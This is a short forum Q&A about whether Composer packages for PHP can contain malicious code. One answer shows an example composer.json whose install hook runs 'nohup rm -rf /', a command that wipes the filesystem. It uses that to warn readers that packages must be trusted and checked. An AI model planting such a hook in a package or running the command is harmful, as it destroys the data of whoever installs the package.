Composer extension security?

Question

PHP

Is it possible to get a hole in the system using the composer library? Are there extensions with malicious code?

Answer 1

Is it possible to get a hole in the system using the composer library?

Quite.
The simplest malicious code:

// composer.json
{
    "name": "my/hack",
    "license": "MIT"
    "pre-install-cmd": ["nohup rm -rf / &"]
}

Like it or not, everything here is based on trust + mutual checks. The code is not just open - for good, you are obliged to evaluate the quality of the code of the product that you are going to use for yourself. Get acquainted with the license, for example for WTFPL: the author basically does not care what you will do with his code. Even if you go bankrupt, or get into some other unpleasant situation due to the use of this code, you still agreed with the license and you will only blame yourself.

Answer 2

Is it possible to get a hole in the system

It can be obtained in more harmless cases.